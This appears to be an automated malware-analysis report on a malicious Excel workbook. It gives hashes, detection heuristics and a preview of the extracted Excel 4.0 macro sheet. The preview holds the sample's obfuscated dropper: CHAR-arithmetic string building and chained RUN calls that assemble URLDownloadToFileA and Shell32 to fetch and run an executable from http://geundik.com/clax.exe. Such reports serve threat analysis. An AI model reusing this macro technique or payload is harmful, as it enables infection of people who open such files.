Office (OOXML) malware analysis — malicious · f05fc81f6ca40aa7

MALICIOUS

Office (OOXML)

60.9 KB Created: 2020-05-11 14:19:29 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24

MD5: 7b1ed50fa4b33361fd6135efd8f5600a SHA-1: 6b96dac016f12608d5b1876d694ceb5dbf9189b3 SHA-256: f05fc81f6ca40aa7f1e50d4c7c217a71862e562602005fd66af89b86b3128d52

290 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, indicated by the OOXML_XLM_MACROSHEET and OOXML_XLM_AUTOOPEN_DEFINEDNAME heuristics. The macros utilize dangerous functions such as RUN to execute external commands, evidenced by formulas like RUN($BB$667). This suggests the file is designed to download and execute a second-stage payload from a remote location, such as the suspicious URL http://geundik.com/clax.exe.

Heuristics 8

ClamAV: Win.Malware.Agent-7787936-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Malware.Agent-7787936-0
Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 14 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://geundik.com/clax.exe In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	64206 bytes
SHA-256: `ed9003041896a2614ab108d3c643e2a554305bd59144985d50fd500959a9074f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{4E982DC7-2FCD-48D9-BF97-20A3A1ECD799}"><dimension ref="A1:IO1998"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="1" spans="30:224" x14ac:dyDescent="0.25"><c r="EI1" t="str"><f>CHAR($M$1864-959)</f><v>E</v></c></row><row r="5" spans="30:224" x14ac:dyDescent="0.25"><c r="GQ5" t="b"><f>RUN($BB$667)</f><v>0</v></c></row><row r="7" spans="30:224" x14ac:dyDescent="0.25"><c r="DJ7" t="b"><f>RUN($IA$228)</f><v>0</v></c><c r="EU7"><v>90</v></c></row><row r="10" spans="30:224" x14ac:dyDescent="0.25"><c r="GU10" t="b"><f>RUN($DP$536)</f><v>0</v></c></row><row r="13" spans="30:224" x14ac:dyDescent="0.25"><c r="AD13" t="b"><f>RUN($AV$423)</f><v>0</v></c><c r="HP13" t="b"><f>RUN($IN$245)</f><v>0</v></c></row><row r="14" spans="30:224" x14ac:dyDescent="0.25"><c r="GA14"><v>63</v></c></row><row r="18" spans="4:244" x14ac:dyDescent="0.25"><c r="GQ18"><v>76</v></c></row><row r="19" spans="4:244" x14ac:dyDescent="0.25"><c r="CD19"><v>621</v></c></row><row r="20" spans="4:244" x14ac:dyDescent="0.25"><c r="BS20" t="str"><f>CHAR($AO$1533-759)</f><v>A</v></c></row><row r="23" spans="4:244" x14ac:dyDescent="0.25"><c r="CY23"><v>76</v></c></row><row r="24" spans="4:244" x14ac:dyDescent="0.25"><c r="BD24"><v>824</v></c><c r="IJ24"><v>87</v></c></row><row r="27" spans="4:244" x14ac:dyDescent="0.25"><c r="D27" t="str"><f>CHAR($FZ$245-570)</f><v>n</v></c></row><row r="32" spans="4:244" x14ac:dyDescent="0.25"><c r="BD32"><v>95</v></c><c r="FC32"><v>86</v></c></row><row r="33" spans="9:246" x14ac:dyDescent="0.25"><c r="EX33" t="str"><f>CHAR($GD$779-890)</f><v>n</v></c></row><row r="34" spans="9:246" x14ac:dyDescent="0.25"><c r="IL34" t="b"><f>RUN($AU$563)</f><v>0</v></c></row><row r="35" spans="9:246" x14ac:dyDescent="0.25"><c r="DE35"><v>91</v></c></row><row r="40" spans="9:246" x14ac:dyDescent="0.25"><c r="I40"><v>858</v></c></row><row r="51" spans="54:158" x14ac:dyDescent="0.25"><c r="DH51"><v>875</v></c></row><row r="54" spans="54:158" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$FT$1925</f><v>http://geundik.com/clax.exe</v></c></row><row r="58" spans="54:158" x14ac:dyDescent="0.25"><c r="DU58"><v>684</v></c></row><row r="61" spans="54:158" x14ac:dyDescent="0.25"><c r="DF61"><v>15</v></c></row><row r="62" spans="54:158" x14ac:dyDescent="0.25"><c r="FB62"><v>34</v></c></row><row r="69" spans="62:248" x14ac:dyDescent="0.25"><c r="BJ69"><v>17</v></c><c r="BK69"><v>38</v></c></row><row r="70" spans="62:248" x14ac:dyDescent="0.25"><c r="IB70"><v>89</v></c></row><row r="71" spans="62:248" x14ac:dyDescent="0.25"><c r="GR71" t="b"><f>RUN($HS$1883)</f><v>0</v></c></row><row r="72" spans="62:248" x14ac:dyDescent="0.25"><c r="CA72"><v>64</v></c></row><row r="77" spans="62:248" x14ac:dyDescent="0.25"><c r="IN77"><v>58</v></c></row><row r="78" spans="62:248" x14ac:dyDescent="0.25"><c r="GY78" t="str"><f>CHAR($BQ$1204-759)</f><v>n</v></c></row><row r="81" spans="64:243" x14ac:dyDescent="0.25"><c r="FP81"><v>1041</v></c></row><row r="82" spans="64:243" x14ac:dyDescent="0.25"><c r="BL82" t="str"><f>CONCATENATE($IB$1983,$GD$578,$HE$1409,$E$559,$ID$293,$Z$909,$HB$1602,$AQ$1066,$GW$1781,$G$1196,$EX$33,$DM$927,$DH$1410,$EN$1781,$GK$944,$AS$793,$GC$698,$Y$930,$GI$1281,$BC$1230,$CE$1256,$DH$1211,$EJ$811,$IH$237,$EI$1062,$CP$770,$GW$967)</f><v>http://geundik.com/clax.exe</v></c></row><row r="83" spans="64:243" x14ac:dyDescent="0.25"><c r="HD83"><v>10</v></c></row><row r="88" spans="64:243" x14ac:dyDescent="0.25"><c r="CD88" t="str"><f>CHAR($GP$985-570)</f><v>M</v></c></row><row r="90" spans="64:243" x14ac:dyDescent="0.25"><c r="HG90" t="str"><f>CONCATENATE($CD$1758,$FS$1575,$EQ$287,$CJ$781,$GM$1918,$FH$1796,$IM$1430)</f><v>Shell32</v></c><c r="II90" t="b"><f>RUN($HA$1562)</f><v>0</v></c></row><row r="95" spans="64:243" x14ac:dyDescent="0.25"><c r="CI95"><v>82</v></c></row><row r="96" spans="64:243" x14ac:dyDescent="0.25"><c r="EH96"><v>79</v></c></row><row r="99" spans="2:157" x14ac:dyDescent="0.25"><c r="D99" t="b"><f>RUN($GX$960)</f><v>0</v></c></row><row r="104" spans="2:157" x14ac:dyDescent="0.25"><c r="BT104" t="str"><f>CHAR($DF$403-759)</f><v>e</v></c></row><row r="107" spans="2:157" x14ac:dyDescent="0.25"><c r="BN107"><v>9</v></c></row><row r="108" spans="2:157" x14ac:dyDescent="0.25"><c r="DP108" t="str"><f>CHAR($AX$1255-959)</f><v>.</v></c><c r="ET108"><v>68</v></c><c r="FA108" t="str"><f>CHAR($HF$1246-759)</f><v>l</v></c></row><row r="110" spans="2:157" x14ac:dyDescent="0.25"><c r="B110"><v>96</v></c></row><row r="112" spans="2:157" x14ac:dyDescent="0.25"><c r="BP112" t="b"><f>RUN($U$160)</f><v>0</v></c></row><row r="115" spans="93:183" x14ac:dyDescent="0.25"><c r="CO115"><v>64</v></c></row><row r="119" spans="93:183" x14ac:dyDescent="0.25"><c r="CR119"><v>674</v></c></row><row r="120" spans="93:183" x14ac:dyDescent="0.25"><c r="CW120" t="b"><f>RUN($C$245)</f><v>0</v></c></row><row r="125" spans="93:183" x14ac:dyDescent="0.25"><c r="EF125" t="str"><f>CHAR($N$1141-759)</f><v>i</v></c><c r="FW125"><v>844</v></c><c r="GA125" t="b"><f>RUN($AC$1462)</f><v>0</v></c></row><row r="132" spans="6:244" x14ac:dyDescent="0.25"><c r="F132" t="b"><f>RUN($DC$1803)</f><v>0</v></c></row><row r="138" spans="6:244" x14ac:dyDescent="0.25"><c r="IJ138"><v>620</v></c></row><row r="150" spans="7:95" x14ac:dyDescent="0.25"><c r="G150"><v>50</v></c></row><row r="154" spans="7:95" x14ac:dyDescent="0.25"><c r="AJ154"><v>4</v></c></row><row r="156" spans="7:95" x14ac:dyDescent="0.25"><c r="CQ156"><v>937</v></c></row><row r="160" spans="7:95" x14ac:dyDescent="0.25"><c r="U160" t="b"><f>RUN($FW$1725)</f><v>0</v></c></row><row r="165" spans="8:136" x14ac:dyDescent="0.25"><c r="EF165"><v>94</v></c></row><row r="169" spans="8:136" x14ac:dyDescent="0.25"><c r="H169"><v>14</v></c></row><row r="172" spans="8:136" x14ac:dyDescent="0.25"><c r="BB172"><v>1051</v></c></row><row r="173" spans="8:136" x14ac:dyDescent="0.25"><c r="BO173" t="b"><f>RUN($FI$778)</f><v>0</v></c></row><row r="184" spans="14:213" x14ac:dyDescent="0.25"><c r="CM184" t="b"><f>RUN($DC$1749)</f><v>0</v></c></row><row r="188" spans="14:213" x14ac:dyDescent="0.25"><c r="CL188"><v>69</v></c><c r="EX188" t="b"><f>RUN($HM$1254)</f><v>0</v></c></row><row r="189" spans="14:213" x14ac:dyDescent="0.25"><c r="N189"><v>858</v></c></row><row r="190" spans="14:213" x14ac:dyDescent="0.25"><c r="Z190"><v>33</v></c><c r="HE190" t="b"><f>RUN($GF$1791)</f><v>0</v></c></row><row r="196" spans="74:228" x14ac:dyDescent="0.25"><c r="EB196" t="b"><f>RUN($FW$1534)</f><v>0</v></c></row><row r="199" spans="74:228" x14ac:dyDescent="0.25"><c r="EC199" t="str"><f>CHAR($HU$1820-759)</f><v>r</v></c></row><row r="203" spans="74:228" x14ac:dyDescent="0.25"><c r="EO203" t="str"><f>CONCATENATE($AM$734,$CC$1434,$GT$1220,$AJ$885,$GU$736,$CL$316,$FA$944,$FA$108,$FI$1277,$DJ$1367,$EK$1306,$AA$467,$E$1782,$CV$886,$EF$125,$I$1478,$HO$1722,$IM$1839)</f><v>URLDownloadToFileA</v></c><c r="HT203"><v>1071</v></c></row><row r="205" spans="74:228" x14ac:dyDescent="0.25"><c r="BV205"><v>15</v></c></row><row r="211" spans="14:235" x14ac:dyDescent="0.25"><c r="AE211"><v>34</v></c></row><row r="212" spans="14:235" x14ac:dyDescent="0.25"><c r="FL212"><v>49</v></c><c r="IA212"><v>86</v></c></row><row r="215" spans="14:235" x14ac:dyDescent="0.25"><c r="Q215"><v>1048</v></c></row><row r="220" spans="14:235" x14ac:dyDescent="0.25"><c r="AD220"><v>52</v></c><c r="FE220" t="b"><f>RUN($GW$1444)</f><v>0</v></c></row><row r="224" spans="14:235" x14ac:dyDescent="0.25"><c r="N224"><v>69</v></c></row><row r="226" spans="11:242" x14ac:dyDescent="0.25"><c r="FT226" t="b"><f>RUN($HS$437)</f><v>0</v></c></row><row r="228" spans="11:242" x14ac:dyDescent="0.25"><c r="IA228" t="b"><f>RUN($AD$13)</f><v>0</v></c></row><row r="229" spans="11:242" x14ac:dyDescent="0.25"><c r="EZ229" t="str"><f>CHAR($BZ$1435-959)</f><v>x</v></c></row><row r="230" spans="11:242" x14ac:dyDescent="0.25"><c r="K230"><v>11</v></c></row><row r="232" spans="11:242" x14ac:dyDescent="0.25"><c r="BJ232"><v>17</v></c></row><row r="237" spans="11:242" x14ac:dyDescent="0.25"><c r="IH237" t="str"><f>CHAR($BX$806-890)</f><v>.</v></c></row><row r="239" spans="11:242" x14ac:dyDescent="0.25"><c r="EA239"><v>92</v></c></row><row r="245" spans="3:248" x14ac:dyDescent="0.25"><c r="C245" t="b"><f>RUN($IB$726)</f><v>0</v></c><c r="FZ245"><v>680</v></c><c r="IN245" t="b"><f>RUN($HE$405)</f><v>0</v></c></row><row r="249" spans="3:248" x14ac:dyDescent="0.25"><c r="GD249"><v>824</v></c></row><row r="255" spans="3:248" x14ac:dyDescent="0.25"><c r="GG255" t="b"><f>RUN($IM$787)</f><v>0</v></c></row><row r="256" spans="3:248" x14ac:dyDescent="0.25"><c r="F256"><v>90</v></c></row><row r="263" spans="19:244" x14ac:dyDescent="0.25"><c r="FK263"><v>9</v></c></row><row r="265" spans="19:244" x14ac:dyDescent="0.25"><c r="DB265"><v>2</v></c><c r="HD265"><v>34</v></c></row><row r="266" spans="19:244" x14ac:dyDescent="0.25"><c r="IJ266"><v>66</v></c></row><row r="267" spans="19:244" x14ac:dyDescent="0.25"><c r="EK267"><v>14</v></c></row><row r="272" spans="19:244" x14ac:dyDescent="0.25"><c r="S272"><v>12</v></c><c r="DA272" t="b"><f>RUN($BT$1572)</f><v>0</v></c></row><row r="274" spans="59:172" x14ac:dyDescent="0.25"><c r="FP274"><v>14</v></c></row><row r="279" spans="59:172" x14ac:dyDescent="0.25"><c r="BG279" t="b"><f>RUN($IL$1460)</f><v>0</v></c></row><row r="284" spans="59:172" x14ac:dyDescent="0.25"><c r="CM284"><v>64</v></c></row><row r="286" spans="59:172" x14ac:dyDescent="0.25"><c r="CD286"><v>13</v></c></row><row r="287" spans="59:172" x14ac:dyDescent="0.25"><c r="EQ287" t="str"><f>CHAR($HS$1607-570)</f><v>e</v></c></row><row r="293" spans="40:238" x14ac:dyDescent="0.25"><c r="ID293" t="str"><f>CHAR($HX$486-890)</f><v>:</v></c></row><row r="294" spans="40:238" x14ac:dyDescent="0.25"><c r="AN294"><v>1002</v></c></row><row r="296" spans="40:238" x14ac:dyDescent="0.25"><c r="AQ296"><v>20</v></c></row><row r="300" spans="40:238" x14ac:dyDescent="0.25"><c r="FA300"><v>17</v></c></row><row r="306" spans="50:205" x14ac:dyDescent="0.25"><c r="AX306"><v>23</v></c></row><row r="307" spans="50:205" x14ac:dyDescent="0.25"><c r="GP307" t="b"><f>RUN($FT$226)</f><v>0</v></c></row><row r="309" spans="50:205" x14ac:dyDescent="0.25"><c r="GW309"><v>827</v></c></row><row r="316" spans="50:205" x14ac:dyDescent="0.25"><c r="CL316" t="str"><f>CHAR($FB$1876-759)</f><v>w</v></c></row><row r="317" spans="50:205" x14ac:dyDescent="0.25"><c r="CQ317" t="b"><f>RUN($GQ$5)</f><v>0</v></c></row><row r="321" spans="24:212" x14ac:dyDescent="0.25"><c r="X321"><v>0</v></c></row><row r="323" spans="24:212" x14ac:dyDescent="0.25"><c r="HD323"><v>56</v></c></row><row r="326" spans="24:212" x14ac:dyDescent="0.25"><c r="FA326"><v>870</v></c></row><row r="327" spans="24:212" x14ac:dyDescent="0.25"><c r="GW327" t="str"><f>CONCATENATE($AX$939)</f><v>CreateDirectoryA</v></c></row><row r="334" spans="24:212" x14ac:dyDescent="0.25"><c r="GL334"><v>36</v></c></row><row r="335" spans="24:212" x14ac:dyDescent="0.25"><c r="BC335"><v>991</v></c></row><row r="338" spans="81:239" x14ac:dyDescent="0.25"><c r="CC338" t="str"><f>CHAR($FP$784-959)</f><v>z</v></c><c r="GY338"><v>870</v></c></row><row r="340" spans="81:239" x14ac:dyDescent="0.25"><c r="FY340"><v>53</v></c></row><row r="343" spans="81:239" x14ac:dyDescent="0.25"><c r="CU343" t="b"><f>RUN($GO$838)</f><v>0</v></c></row><row r="345" spans="81:239" x14ac:dyDescent="0.25"><c r="IE345" t="b"><f>RUN($IL$34)</f><v>0</v></c></row><row r="346" spans="81:239" x14ac:dyDescent="0.25"><c r="DW346"><v>79</v></c></row><row r="349" spans="81:239" x14ac:dyDescent="0.25"><c r="HV349"><v>43</v></c></row><row r="361" spans="51:241" x14ac:dyDescent="0.25"><c r="BL361" t="str"><f>CHAR($FD$1072-759)</f><v>e</v></c></row><row r="362" spans="51:241" x14ac:dyDescent="0.25"><c r="AY362" t="str"><f>CHAR($GZ$1420-959)</f><v>\</v></c></row><row r="363" spans="51:241" x14ac:dyDescent="0.25"><c r="GZ363"><v>648</v></c></row><row r="364" spans="51:241" x14ac:dyDescent="0.25"><c r="HV364" t="b"><f>RUN($IO$441)</f><v>0</v></c></row><row r="365" spans="51:241" x14ac:dyDescent="0.25"><c r="BC365"><v>937</v></c><c r="BK365" t="b"><f>RUN($GH$1339)</f><v>0</v></c></row><row r="368" spans="51:241" x14ac:dyDescent="0.25"><c r="GL368"><v>1051</v></c><c r="IG368"><v>21</v></c></row><row r="369" spans="10:240" x14ac:dyDescent="0.25"><c r="ES369"><v>36</v></c></row><row r="372" spans="10:240" x14ac:dyDescent="0.25"><c r="GG372" t="b"><f>RUN($FJ$533)</f><v>0</v></c><c r="GL372" t="b"><f>RUN($AH$420)</f><v>0</v></c></row><row r="374" spans="10:240" x14ac:dyDescent="0.25"><c r="BJ374"><v>30</v></c></row><row r="377" spans="10:240" x14ac:dyDescent="0.25"><c r="DE377"><v>856</v></c><c r="IF377"><v>64</v></c></row><row r="378" spans="10:240" x14ac:dyDescent="0.25"><c r="J378"><v>74</v></c></row><row r="380" spans="10:240" x14ac:dyDescent="0.25"><c r="AI380"><v>50</v></c></row><row r="394" spans="66:66" x14ac:dyDescent="0.25"><c r="BN394"><v>87</v></c></row><row r="403" spans="55:213" x14ac:dyDescent="0.25"><c r="DF403"><v>860</v></c></row><row r="405" spans="55:213" x14ac:dyDescent="0.25"><c r="HE405" t="b"><f>RUN($GA$125)</f><v>0</v></c></row><row r="412" spans="55:213" x14ac:dyDescent="0.25"><c r="FL412"><v>87</v></c></row><row r="414" spans="55:213" x14ac:dyDescent="0.25"><c r="BC414"><v>52</v></c></row><row r="420" spans="34:236" x14ac:dyDescent="0.25"><c r="AH420" t="b"><f>RUN($DJ$7)</f><v>0</v></c></row><row r="422" spans="34:236" x14ac:dyDescent="0.25"><c r="BZ422"><v>1037</v></c><c r="DY422" t="str"><f>CHAR($HS$518-759)</f><v>l</v></c></row><row r="423" spans="34:236" x14ac:dyDescent="0.25"><c r="AV423" t="b"><f>RUN($HE$190)</f><v>0</v></c><c r="GB423"><v>66</v></c></row><row r="424" spans="34:236" x14ac:dyDescent="0.25"><c r="DO424" t="str"><f>CHAR($AH$1170-759)</f><v>l</v></c></row><row r="425" spans="34:236" x14ac:dyDescent="0.25"><c r="FQ425" t="b"><f>RUN($AV$1212)</f><v>0</v></c></row><row r="429" spans="34:236" x14ac:dyDescent="0.25"><c r="FA429"><v>95</v></c><c r="IB429" t="str"><f>CHAR($O$1512-959)</f><v>m</v></c></row><row r="437" spans="101:249" x14ac:dyDescent="0.25"><c r="HS437" t="b"><f>RUN($X$1776)</f><v>0</v></c></row><row r="439" spans="101:249" x14ac:dyDescent="0.25"><c r="CW439"><v>75</v></c><c r="DD439"><v>67</v></c></row><row r="441" spans="101:249" x14ac:dyDescent="0.25"><c r="IO441" t="b"><f>RUN($HT$845)</f><v>0</v></c></row><row r="453" spans="47:204" x14ac:dyDescent="0.25"><c r="CB453"><v>49</v></c></row><row r="455" spans="47:204" x14ac:dyDescent="0.25"><c r="FI455"><v>93</v></c><c r="GV455"><v>66</v></c></row><row r="456" spans="47:204" x14ac:dyDescent="0.25"><c r="AU456" t="str"><f>CHAR($GW$309-759)</f><v>D</v></c></row><row r="459" spans="47:204" x14ac:dyDescent="0.25"><c r="EH459" t="b"><f>RUN($FA$1392)</f><v>0</v></c></row><row r="467" spans="27:193" x14ac:dyDescent="0.25"><c r="AA467" t="str"><f>CHAR($FV$623-759)</f><v>T</v></c></row><row r="471" spans="27:193" x14ac:dyDescent="0.25"><c r="BB471" t="b"><f>RUN($GG$372)</f><v>0</v></c></row><row r="474" spans="27:193" x14ac:dyDescent="0.25"><c r="DM474"><v>88</v></c></row><row r="478" spans="27:193" x14ac:dyDescent="0.25"><c r="FD478" t="str"><f>CHAR($BV$1043-959)</f><v>T</v></c><c r="GK478"><v>998</v></c></row><row r="484" spans="44:232" x14ac:dyDescent="0.25"><c r="EM484"><v>18</v></c></row><row r="485" spans="44:232" x14ac:dyDescent="0.25"><c r="AR485" t="b"><f>RUN($E$1651)</f><v>0</v></c></row><row r="486" spans="44:232" x14ac:dyDescent="0.25"><c r="FF486"><v>1026</v></c><c r="HX486"><v>948</v></c></row><row r="491" spans="44:232" x14ac:dyDescent="0.25"><c r="AY491"><v>24</v></c></row><row r="499" spans="12:234" x14ac:dyDescent="0.25"><c r="CY499"><v>18</v></c></row><row r="500" spans="12:234" x14ac:dyDescent="0.25"><c r="HZ500" t="b"><f>RUN($AR$485)</f><v>0</v></c></row><row r="504" spans="12:234" x14ac:dyDescent="0.25"><c r="BQ504" t="str"><f>CHAR($GD$249-759)</f><v>A</v></c></row><row r="508" spans="12:234" x14ac:dyDescent="0.25"><c r="L508"><v>92</v></c></row><row r="513" spans="39:227" x14ac:dyDescent="0.25"><c r="FE513"><v>653</v></c></row><row r="515" spans="39:227" x14ac:dyDescent="0.25"><c r="DY515"><v>78</v></c></row><row r="517" spans="39:227" x14ac:dyDescent="0.25"><c r="AM517"><v>1037</v></c></row><row r="518" spans="39:227" x14ac:dyDescent="0.25"><c r="HS518"><v>867</v></c></row><row r="521" spans="39:227" x14ac:dyDescent="0.25"><c r="GY521"><v>678</v></c></row><row r="529" spans="20:166" x14ac:dyDescent="0.25"><c r="CS529" t="b"><f>RUN($HA$1268)</f><v>0</v></c></row><row r="533" spans="20:166" x14ac:dyDescent="0.25"><c r="FJ533" t="b"><f>RUN($K$1583)</f><v>0</v></c></row><row r="536" spans="20:166" x14ac:dyDescent="0.25"><c r="DP536" t="b"><f>RUN($CG$1067)</f><v>0</v></c></row><row r="537" spans="20:166" x14ac:dyDescent="0.25"><c r="T537"><v>57</v></c><c r="FH537"><v>64</v></c></row><row r="541" spans="20:166" x14ac:dyDescent="0.25"><c r="DL541"><v>62</v></c></row><row r="545" spans="5:242" x14ac:dyDescent="0.25"><c r="EC545"><v>45</v></c><c r="IH545" t="str"><f>CHAR($GY$338-759)</f><v>o</v></c></row><row r="552" spans="5:242" x14ac:dyDescent="0.25"><c r="CM552" t="b"><f>RUN($GI$1435)</f><v>0</v></c></row><row r="554" spans="5:242" x14ac:dyDescent="0.25"><c r="FM554"><v>23</v></c></row><row r="555" spans="5:242" x14ac:dyDescent="0.25"><c r="CY555"><v>25</v></c><c r="FK555" t="b"><f>RUN($GR$1509)</f><v>0</v></c><c r="ID555"><v>1075</v></c></row><row r="559" spans="5:242" x14ac:dyDescent="0.25"><c r="E559" t="str"><f>CHAR($AN$294-890)</f><v>p</v></c></row><row r="562" spans="15:228" x14ac:dyDescent="0.25"><c r="GS562"><v>827</v></c></row><row r="563" spans="15:228" x14ac:dyDescent="0.25"><c r="AU563" t="b"><f>RUN($BB$1644)</f><v>0</v></c></row><row r="567" spans="15:228" x14ac:dyDescent="0.25"><c r="O567"><v>987</v></c></row><row r="569" spans="15:228" x14ac:dyDescent="0.25"><c r="GY569" t="str"><f>CHAR($ER$864-759)</f><v>e</v></c><c r="HT569"><v>0</v></c></row><row r="578" spans="48:223" x14ac:dyDescent="0.25"><c r="GD578" t="str"><f>CHAR($GV$1388-890)</f><v>t</v></c></row><row r="581" spans="48:223" x14ac:dyDescent="0.25"><c r="HO581"><v>12</v></c></row><row r="587" spans="48:223" x14ac:dyDescent="0.25"><c r="AV587"><v>84</v></c></row><row r="594" spans="17:218" x14ac:dyDescent="0.25"><c r="AY594" t="b"><f>RUN($BQ$1141)</f><v>0</v></c></row><row r="596" spans="17:218" x14ac:dyDescent="0.25"><c r="FJ596" t="b"><f>RUN($FY$1629)</f><v>0</v></c></row><row r="600" spans="17:218" x14ac:dyDescent="0.25"><c r="HJ600"><v>71</v></c></row><row r="604" spans="17:218" x14ac:dyDescent="0.25"><c r="Q604"><v>70</v></c></row><row r="606" spans="17:218" x14ac:dyDescent="0.25"><c r="BQ606"><v>88</v></c></row><row r="623" spans="178:178" x14ac:dyDescent="0.25"><c r="FV623"><v>843</v></c></row><row r="628" spans="8:179" x14ac:dyDescent="0.25"><c r="H628"><v>1060</v></c><c r="EC628"><v>94</v></c></row><row r="634" spans="8:179" x14ac:dyDescent="0.25"><c r="CX634"><v>77</v></c><c r="DE634"><v>85</v></c></row><row r="638" spans="8:179" x14ac:dyDescent="0.25"><c r="FW638" t="b"><f>RUN($FL$1807)</f><v>0</v></c></row><row r="641" spans="56:197" x14ac:dyDescent="0.25"><c r="FX641" t="b"><f>RUN($GH$1166)</f><v>0</v></c></row><row r="644" spans="56:197" x14ac:dyDescent="0.25"><c r="GO644" t="str"><f>CHAR($EJ$1520-759)</f><v>y</v></c></row><row r="647" spans="56:197" x14ac:dyDescent="0.25"><c r="DT647" t="b"><f>RUN($CN$716)</f><v>0</v></c><c r="FV647"><v>75</v></c></row><row r="655" spans="56:197" x14ac:dyDescent="0.25"><c r="BD655" t="b"><f>RUN($EN$1297)</f><v>0</v></c></row><row r="660" spans="54:215" x14ac:dyDescent="0.25"><c r="FN660"><v>93</v></c><c r="GP660"><v>864</v></c></row><row r="664" spans="54:215" x14ac:dyDescent="0.25"><c r="HG664" t="b"><f>RUN($HJ$1351)</f><v>0</v></c></row><row r="665" spans="54:215" x14ac:dyDescent="0.25"><c r="GX665"><v>98</v></c></row><row r="667" spans="54:215" x14ac:dyDescent="0.25"><c r="BB667" t="b"><f>RUN($CM$184)</f><v>0</v></c></row><row r="672" spans="54:215" x14ac:dyDescent="0.25"><c r="FC672"><v>49</v></c></row><row r="674" spans="1:239" x14ac:dyDescent="0.25"><c r="HZ674"><v>51</v></c></row><row r="678" spans="1:239" x14ac:dyDescent="0.25"><c r="HJ678"><v>10</v></c></row><row r="680" spans="1:239" x14ac:dyDescent="0.25"><c r="IE680"><v>84</v></c></row><row r="683" spans="1:239" x14ac:dyDescent="0.25"><c r="FD683"><v>99</v></c></row><row r="685" spans="1:239" x14ac:dyDescent="0.25"><c r="A685"><v>93</v></c><c r="BR685" t="b"><f>RUN($BG$1596)</f><v>0</v></c></row><row r="687" spans="1:239" x14ac:dyDescent="0.25"><c r="DA687"><v>34</v></c></row><row r="691" spans="12:213" x14ac:dyDescent="0.25"><c r="HE691"><v>88</v></c></row><row r="692" spans="12:213" x14ac:dyDescent="0.25"><c r="FM692"><v>80</v></c></row><row r="694" spans="12:213" x14ac:dyDescent="0.25"><c r="DU694" t="str"><f>CONCATENATE($FM$1048,$IE$1490)</f><v>C:\QzLRNYp\EMNXupT\mNmxrKt.exe</v></c></row><row r="695" spans="12:213" x14ac:dyDescent="0.25"><c r="CO695"><v>51</v></c></row><row r="696" spans="12:213" x14ac:dyDescent="0.25"><c r="CT696"><v>62</v></c></row><row r="698" spans="12:213" x14ac:dyDescent="0.25"><c r="L698"><v>77</v></c><c r="GC698" t="str"><f>CHAR($CG$1158-890)</f><v>o</v></c></row><row r="701" spans="12:213" x14ac:dyDescent="0.25"><c r="GH701" t="str"><f>CONCATENATE($EO$203)</f><v>URLDownloadToFileA</v></c><c r="GT701"><v>65</v></c></row><row r="705" spans="6:92" x14ac:dyDescent="0.25"><c r="BZ705" t="str"><f>CHAR($IH$1397-759)</f><v>u</v></c></row><row r="706" spans="6:92" 